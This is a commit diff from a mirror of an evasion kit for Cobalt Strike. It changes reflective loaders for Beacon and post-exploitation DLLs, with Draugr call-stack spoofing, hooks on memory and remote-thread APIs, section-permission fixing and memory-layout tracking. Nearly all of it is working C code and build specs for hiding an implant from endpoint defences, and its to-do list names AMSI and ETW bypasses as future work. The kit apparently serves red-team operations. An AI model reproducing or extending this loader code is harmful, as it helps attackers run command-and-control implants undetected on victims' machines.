mirror of
https://github.com/nickswink/Crystal-Kit-Xenon
synced 2026-06-21 14:02:19 +00:00
add memory tracking
This commit is contained in:
@@ -26,8 +26,8 @@ post-ex {
|
||||
|
||||
There are lots of improvements that can be made to this codebase. Some that come to mind include:
|
||||
|
||||
- [ ] Add BUD-style structures to track memory allocations.
|
||||
- [ ] Don't use RWX memory for Beacon.
|
||||
- [x] Add BUD-style structures to track memory allocations.
|
||||
- [x] Don't use RWX memory.
|
||||
- [ ] Add GMA & GPA patching to the postex loader (`smartinject` is not yet supported in `stage` for prepended loaders).
|
||||
- [ ] Add AMSI & ETW bypasses to the postex loader.
|
||||
- [ ] Add memory freeing code on ExitThread.
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
name "Crystal Kit"
|
||||
describe ""
|
||||
name "Crystal Kit Postex UDRL"
|
||||
describe "Evasion Kit for Cobalt Strike"
|
||||
author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
@@ -10,18 +10,15 @@ x64:
|
||||
make pic
|
||||
export
|
||||
preplen
|
||||
link "my_proxy"
|
||||
|
||||
generate $HKEY 128
|
||||
link "draugr"
|
||||
|
||||
load "bin/hook.x64.o"
|
||||
make object
|
||||
patch "xorkey" $HKEY
|
||||
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
|
||||
export
|
||||
link "my_hooks"
|
||||
link "hooks"
|
||||
|
||||
push $DLL
|
||||
link "my_data"
|
||||
link "postex"
|
||||
|
||||
export
|
||||
|
||||
+6
-14
@@ -19,6 +19,7 @@
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "memory.h"
|
||||
#include "draugr.h"
|
||||
#include "proxy.h"
|
||||
#include "hash.h"
|
||||
@@ -39,18 +40,8 @@ DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS,
|
||||
/* store resolved functions */
|
||||
void * g_ExitThread;
|
||||
|
||||
/* patched in from loader.spec */
|
||||
char xorkey[128] = { 1 };
|
||||
|
||||
void applyxor(char * data, DWORD len) {
|
||||
for (DWORD x = 0; x < len; x++) {
|
||||
data[x] ^= xorkey[x % 128];
|
||||
}
|
||||
}
|
||||
|
||||
/* some globals */
|
||||
char * g_dllBase;
|
||||
DWORD g_dllSize;
|
||||
MEMORY_LAYOUT g_layout;
|
||||
SYNTHETIC_STACK_FRAME g_stackFrame;
|
||||
|
||||
void init_frame_info()
|
||||
@@ -976,13 +967,14 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
return result;
|
||||
}
|
||||
|
||||
void go(IMPORTFUNCS * funcs, char * dllBase, DWORD dllsz)
|
||||
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
{
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
|
||||
g_dllBase = dllBase;
|
||||
g_dllSize = dllsz;
|
||||
if (layout != NULL) {
|
||||
g_layout = *layout;
|
||||
}
|
||||
|
||||
init_frame_info();
|
||||
}
|
||||
|
||||
+145
-54
@@ -29,6 +29,7 @@ __attribute__((noinline, no_reorder)) void go(void * loaderArgument) {
|
||||
#include "hash.h"
|
||||
#include "resolve_eat.h"
|
||||
#include "proxy.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
@@ -126,11 +127,21 @@ typedef struct {
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
char __DLLDATA__[0] __attribute__((section("my_data")));
|
||||
char __PICDATA__[0] __attribute__((section("my_proxy")));
|
||||
char __HOKDATA__[0] __attribute__((section("my_hooks")));
|
||||
typedef struct {
|
||||
#if DEBUG
|
||||
char data[8192];
|
||||
char code[16384];
|
||||
#else
|
||||
char data[4096];
|
||||
char code[12288];
|
||||
#endif
|
||||
} PICO;
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, char * dllbase, DWORD dllsz);
|
||||
char __POSTEX__[0] __attribute__((section("postex")));
|
||||
char __DRAUGR__[0] __attribute__((section("draugr")));
|
||||
char __HOOKS__[0] __attribute__((section("hooks")));
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout);
|
||||
|
||||
char * loader_start() {
|
||||
#ifdef WIN_X86
|
||||
@@ -223,79 +234,159 @@ void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect
|
||||
#include "debug.h"
|
||||
#endif
|
||||
|
||||
void reflectiveLoader(WIN32FUNCS * funcs, LAYOUT * layout, char * dll, DLLDATA * dllData, LPVOID loaderArgument)
|
||||
void fixSectionMemoryPermissions(DLLDATA * dll, char * src, char * dst, WIN32FUNCS * funcs, MEMORY_REGION * region)
|
||||
{
|
||||
char * hooks;
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtect = 0;
|
||||
|
||||
/* Time to load the hook PICO */
|
||||
hooks = GETRESOURCE(__HOKDATA__);
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
#ifdef DEBUG
|
||||
PIC_STRING(picosz, "[POSTEX] HookPicoDataSize: %d\nHookPicoCodeSize: %d\n");
|
||||
dprintf((IMPORTFUNCS *)funcs, picosz, PicoDataSize(hooks), PicoCodeSize(hooks));
|
||||
#endif
|
||||
for (int x = 0; x < numberOfSections; x++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
/* Load it into the layout */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hooks, layout->hookcode, layout->hookdata);
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_WRITECOPY;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
|
||||
newProtect = PAGE_READONLY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtect = PAGE_EXECUTE;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* Make the code section RX */
|
||||
protect_memory_threadpool(layout->hookcode, PicoCodeSize(hooks), PAGE_EXECUTE_READ, funcs);
|
||||
/* set new permission */
|
||||
protect_memory_threadpool(sectionDst, sectionSize, newProtect, funcs);
|
||||
|
||||
/* Call its entry point */
|
||||
((PICOHOOK_ENTRY)PicoEntryPoint(hooks, layout->hookcode))((IMPORTFUNCS *)funcs, layout->dllbase, SizeOfDLL(dllData));
|
||||
/* track memory */
|
||||
region->sections[x].baseAddress = sectionDst;
|
||||
region->sections[x].size = sectionSize;
|
||||
region->sections[x].currentProtect = newProtect;
|
||||
region->sections[x].previousProtect = newProtect;
|
||||
|
||||
/* Now load the DLL */
|
||||
LoadDLL(dllData, dll, layout->dllbase);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, dllData, layout->dllbase);
|
||||
|
||||
/* Get its entry point */
|
||||
DLLMAIN_FUNC entryPoint = EntryPoint(dllData, layout->dllbase);
|
||||
|
||||
/* yolo this RWX for now */
|
||||
protect_memory_threadpool(layout->dllbase, SizeOfDLL(dllData), PAGE_EXECUTE_READWRITE, funcs);
|
||||
|
||||
/* Call it twice */
|
||||
entryPoint((HINSTANCE)layout->dllbase, DLL_PROCESS_ATTACH, NULL);
|
||||
entryPoint((HINSTANCE)loader_start(), DLL_POSTEX_START, loaderArgument);
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void setupProxy(LPVOID loaderArgument)
|
||||
void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout, void * loaderArgument)
|
||||
{
|
||||
WIN32FUNCS funcs;
|
||||
char * dll;
|
||||
DLLDATA dllData;
|
||||
LAYOUT * layout;
|
||||
RESOURCE * pic;
|
||||
char * hookSrc;
|
||||
PICO * hookDst;
|
||||
char * dllSrc;
|
||||
DLLDATA dllData;
|
||||
char * dllDst;
|
||||
|
||||
/* Time to load the hook PICO */
|
||||
hookSrc = GETRESOURCE(__HOOKS__);
|
||||
|
||||
/* Allocate memory for it */
|
||||
hookDst = (PICO *)allocate_memory_threadpool(sizeof(PICO), PAGE_READWRITE, funcs);
|
||||
|
||||
/* Load it into memory */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
|
||||
|
||||
/* Make the code section RX */
|
||||
protect_memory_threadpool(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ, funcs);
|
||||
|
||||
/* Fill layout info */
|
||||
layout->hooks.baseAddress = (char *)hookDst;
|
||||
layout->hooks.size = sizeof(PICO);
|
||||
layout->hooks.sections[0].baseAddress = hookDst->data;
|
||||
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
|
||||
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[1].baseAddress = hookDst->code;
|
||||
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
|
||||
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
|
||||
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* Get PICO entry point */
|
||||
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
|
||||
|
||||
/* Call it to install the hooks */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
|
||||
/* Now load the DLL */
|
||||
dllSrc = GETRESOURCE(__POSTEX__);
|
||||
|
||||
/* Parse the headers */
|
||||
ParseDLL(dllSrc, &dllData);
|
||||
|
||||
/* Allocate memory for DLL */
|
||||
dllDst = allocate_memory_threadpool(SizeOfDLL(&dllData), PAGE_READWRITE, funcs);
|
||||
|
||||
/* Load it into memory */
|
||||
LoadDLL(&dllData, dllSrc, dllDst);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, &dllData, dllDst);
|
||||
|
||||
layout->beacon.baseAddress = dllDst;
|
||||
layout->beacon.size = SizeOfDLL(&dllData);
|
||||
|
||||
/* Fix section memory permissions */
|
||||
fixSectionMemoryPermissions(&dllData, dllSrc, dllDst, funcs, &layout->beacon);
|
||||
|
||||
/* Call hook entry point again to provide the updated memory layout */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
|
||||
/* Get its entry point */
|
||||
DLLMAIN_FUNC dllEntry = EntryPoint(&dllData, dllDst);
|
||||
|
||||
/* Call it twice */
|
||||
dllEntry((HINSTANCE)dllDst, DLL_PROCESS_ATTACH, NULL);
|
||||
dllEntry((HINSTANCE)loader_start(), DLL_POSTEX_START, loaderArgument);
|
||||
}
|
||||
|
||||
void setupProxy(void * loaderArgument)
|
||||
{
|
||||
WIN32FUNCS funcs;
|
||||
RESOURCE * picSrc;
|
||||
char * picDst;
|
||||
MEMORY_LAYOUT layout;
|
||||
|
||||
/* Resolve functions */
|
||||
findNeededFunctions(&funcs);
|
||||
|
||||
/* Grab the DLL because we need its size */
|
||||
dll = GETRESOURCE(__DLLDATA__);
|
||||
/* Grab the Draugr PIC */
|
||||
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
|
||||
|
||||
/* Parse the headers */
|
||||
ParseDLL(dll, &dllData);
|
||||
/* Allocate memory for it */
|
||||
picDst = allocate_memory_threadpool(picSrc->length, PAGE_READWRITE, &funcs);
|
||||
|
||||
/* Allocate memory for everything we'll load */
|
||||
layout = (LAYOUT *)allocate_memory_threadpool(sizeof(LAYOUT) + SizeOfDLL(&dllData), PAGE_READWRITE, &funcs);
|
||||
|
||||
#ifdef DEBUG
|
||||
PIC_STRING(mem, "[POSTEX] draugrpic @ 0x%lp\nhookdata @ 0x%lp\nhookcode @ 0x%lp\ndllbase @ 0x%lp\n");
|
||||
dprintf((IMPORTFUNCS *)&funcs, mem, layout->draugrpic, layout->hookdata, layout->hookcode, layout->dllbase);
|
||||
#if DEBUG
|
||||
PIC_STRING(dst, "PIC @ 0x%lp\n");
|
||||
dprintf((IMPORTFUNCS *)&funcs, dst, picDst);
|
||||
#endif
|
||||
|
||||
/* Grab the Draugr PIC */
|
||||
pic = (RESOURCE *)GETRESOURCE(__PICDATA__);
|
||||
|
||||
/* Copy it into memory */
|
||||
memcpy(layout->draugrpic, pic->value, pic->length);
|
||||
memcpy(picDst, picSrc->value, picSrc->length);
|
||||
|
||||
/* Flip memory to RX */
|
||||
protect_memory_threadpool(layout->draugrpic, pic->length, PAGE_EXECUTE_READ, &funcs);
|
||||
protect_memory_threadpool(picDst, picSrc->length, PAGE_EXECUTE_READ, &funcs);
|
||||
|
||||
/* Set funcs field */
|
||||
funcs.Draugr = (DRAUGR)(layout->draugrpic);
|
||||
funcs.Draugr = (DRAUGR)(picDst);
|
||||
|
||||
/* Begin filling memory layout info */
|
||||
layout.pic.baseAddress = picDst;
|
||||
layout.pic.size = picSrc->length;
|
||||
|
||||
/* Carry on loading the rest */
|
||||
reflectiveLoader(&funcs, layout, dll, &dllData, loaderArgument);
|
||||
reflectiveLoader(&funcs, &layout, loaderArgument);
|
||||
}
|
||||
@@ -203,9 +203,6 @@ DWORD SizeOfDLL(DLLDATA * data) {
|
||||
}
|
||||
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
|
||||
/* copy our headers over to the destination address, if we wish */
|
||||
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
|
||||
|
||||
/* load our section data */
|
||||
LoadSections(dll, src, dst);
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
void * baseAddress;
|
||||
SIZE_T size;
|
||||
DWORD currentProtect;
|
||||
DWORD previousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
void * baseAddress;
|
||||
SIZE_T size;
|
||||
MEMORY_SECTION sections[5];
|
||||
} MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION pic;
|
||||
MEMORY_REGION hooks;
|
||||
MEMORY_REGION beacon;
|
||||
} MEMORY_LAYOUT;
|
||||
+7
-7
@@ -1,5 +1,5 @@
|
||||
name "Crystal Kit"
|
||||
describe ""
|
||||
name "Crystal Kit UDRL"
|
||||
describe "Evasion Kit for Cobalt Strike"
|
||||
author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
@@ -10,18 +10,18 @@ x64:
|
||||
make pic
|
||||
export
|
||||
preplen
|
||||
link "my_proxy"
|
||||
link "draugr"
|
||||
|
||||
generate $HKEY 128
|
||||
generate $KEY 128
|
||||
|
||||
load "bin/hook.x64.o"
|
||||
make object
|
||||
patch "xorkey" $HKEY
|
||||
patch "xorkey" $KEY
|
||||
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
|
||||
export
|
||||
link "my_hooks"
|
||||
link "hooks"
|
||||
|
||||
push $DLL
|
||||
link "my_data"
|
||||
link "beacon"
|
||||
|
||||
export
|
||||
|
||||
+86
-38
@@ -19,6 +19,7 @@
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "hook.h"
|
||||
#include "draugr.h"
|
||||
#include "proxy.h"
|
||||
#include "hash.h"
|
||||
@@ -44,15 +45,8 @@ void * g_ExitThread;
|
||||
/* patched in from loader.spec */
|
||||
char xorkey[128] = { 1 };
|
||||
|
||||
void applyxor(char * data, DWORD len) {
|
||||
for (DWORD x = 0; x < len; x++) {
|
||||
data[x] ^= xorkey[x % 128];
|
||||
}
|
||||
}
|
||||
|
||||
/* some globals */
|
||||
char * g_dllBase;
|
||||
DWORD g_dllSize;
|
||||
MEMORY_LAYOUT g_layout;
|
||||
SYNTHETIC_STACK_FRAME g_stackFrame;
|
||||
|
||||
void init_frame_info()
|
||||
@@ -339,7 +333,7 @@ ULONG_PTR draugr(PFUNCTION_CALL functionCall)
|
||||
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _VirtualAlloc\n");
|
||||
dprintf("[UDRL] _VirtualAlloc\n");
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
dprintf(" -> flAllocationType : %d\n", flAllocationType);
|
||||
@@ -362,7 +356,7 @@ LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationT
|
||||
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _VirtualAllocEx\n");
|
||||
dprintf("[UDRL] _VirtualAllocEx\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
@@ -387,7 +381,7 @@ LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize,
|
||||
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _VirtualProtect\n");
|
||||
dprintf("[UDRL] _VirtualProtect\n");
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
dprintf(" -> flNewProtect : %d\n", flNewProtect);
|
||||
@@ -410,7 +404,7 @@ BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect,
|
||||
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _VirtualProtectEx\n");
|
||||
dprintf("[UDRL] _VirtualProtectEx\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
@@ -435,7 +429,7 @@ BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize,
|
||||
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _VirtualFree\n");
|
||||
dprintf("[UDRL] _VirtualFree\n");
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
dprintf(" -> dwFreeType : %d\n", dwFreeType);
|
||||
@@ -456,7 +450,7 @@ BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _GetThreadContext\n");
|
||||
dprintf("[UDRL] _GetThreadContext\n");
|
||||
dprintf(" -> hThread : 0x%lp\n", hThread);
|
||||
dprintf(" -> lpContext : 0x%lp\n", lpContext);
|
||||
#endif
|
||||
@@ -475,7 +469,7 @@ BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
|
||||
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _SetThreadContext\n");
|
||||
dprintf("[UDRL] _SetThreadContext\n");
|
||||
dprintf(" -> hThread : 0x%lp\n", hThread);
|
||||
dprintf(" -> lpContext : 0x%lp\n", lpContext);
|
||||
#endif
|
||||
@@ -494,7 +488,7 @@ BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
|
||||
HINTERNET WINAPI _InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _InternetOpenA\n");
|
||||
dprintf("[UDRL] _InternetOpenA\n");
|
||||
dprintf(" -> lpszAgent : %s\n", lpszAgent);
|
||||
dprintf(" -> dwAccessType : %d\n", dwAccessType);
|
||||
dprintf(" -> lpszProxy : %s\n", lpszProxy);
|
||||
@@ -519,7 +513,7 @@ HINTERNET WINAPI _InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lps
|
||||
HINTERNET WINAPI _InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _InternetConnectA\n");
|
||||
dprintf("[UDRL] _InternetConnectA\n");
|
||||
dprintf(" -> hInternet : 0x%lp\n", hInternet);
|
||||
dprintf(" -> lpszServerName : %s\n", lpszServerName);
|
||||
dprintf(" -> nServerPort : %d\n", nServerPort);
|
||||
@@ -550,7 +544,7 @@ HINTERNET WINAPI _InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, I
|
||||
DWORD WINAPI _ResumeThread(HANDLE hThread)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _ResumeThread\n");
|
||||
dprintf("[UDRL] _ResumeThread\n");
|
||||
dprintf(" -> hThread : 0x%lp\n", hThread);
|
||||
#endif
|
||||
|
||||
@@ -567,7 +561,7 @@ DWORD WINAPI _ResumeThread(HANDLE hThread)
|
||||
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _CreateThread\n");
|
||||
dprintf("[UDRL] _CreateThread\n");
|
||||
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
|
||||
dprintf(" -> dwStackSize : %d\n", dwStackSize);
|
||||
dprintf(" -> lpStartAddress : 0x%lp\n", lpStartAddress);
|
||||
@@ -594,7 +588,7 @@ HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwS
|
||||
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _CreateRemoteThread\n");
|
||||
dprintf("[UDRL] _CreateRemoteThread\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
|
||||
dprintf(" -> dwStackSize : %d\n", dwStackSize);
|
||||
@@ -623,7 +617,7 @@ HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThrea
|
||||
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _OpenProcess\n");
|
||||
dprintf("[UDRL] _OpenProcess\n");
|
||||
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
|
||||
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
|
||||
dprintf(" -> dwProcessId : %d\n", dwProcessId);
|
||||
@@ -644,7 +638,7 @@ HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwP
|
||||
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _OpenThread\n");
|
||||
dprintf("[UDRL] _OpenThread\n");
|
||||
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
|
||||
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
|
||||
dprintf(" -> dwThreadId : %d\n", dwThreadId);
|
||||
@@ -665,7 +659,7 @@ HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwTh
|
||||
BOOL WINAPI _CloseHandle(HANDLE hObject)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _CloseHandle\n");
|
||||
dprintf("[UDRL] _CloseHandle\n");
|
||||
dprintf(" -> hObject : 0x%lp\n", hObject);
|
||||
#endif
|
||||
|
||||
@@ -682,7 +676,7 @@ BOOL WINAPI _CloseHandle(HANDLE hObject)
|
||||
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _CreateFileMappingA\n");
|
||||
dprintf("[UDRL] _CreateFileMappingA\n");
|
||||
dprintf(" -> hFile : 0x%lp\n", hFile);
|
||||
dprintf(" -> lpFileMappingAttributes : 0x%lp\n", lpFileMappingAttributes);
|
||||
dprintf(" -> flProtect : %d\n", flProtect);
|
||||
@@ -709,7 +703,7 @@ HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMapp
|
||||
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _MapViewOfFile\n");
|
||||
dprintf("[UDRL] _MapViewOfFile\n");
|
||||
dprintf(" -> hFileMappingObject : 0x%lp\n", hFileMappingObject);
|
||||
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
|
||||
dprintf(" -> dwFileOffsetHigh : %d\n", dwFileOffsetHigh);
|
||||
@@ -734,7 +728,7 @@ LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, D
|
||||
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _UnmapViewOfFile\n");
|
||||
dprintf("[UDRL] _UnmapViewOfFile\n");
|
||||
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
|
||||
#endif
|
||||
|
||||
@@ -751,7 +745,7 @@ BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
|
||||
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[BEACON] _VirtualQuery\n");
|
||||
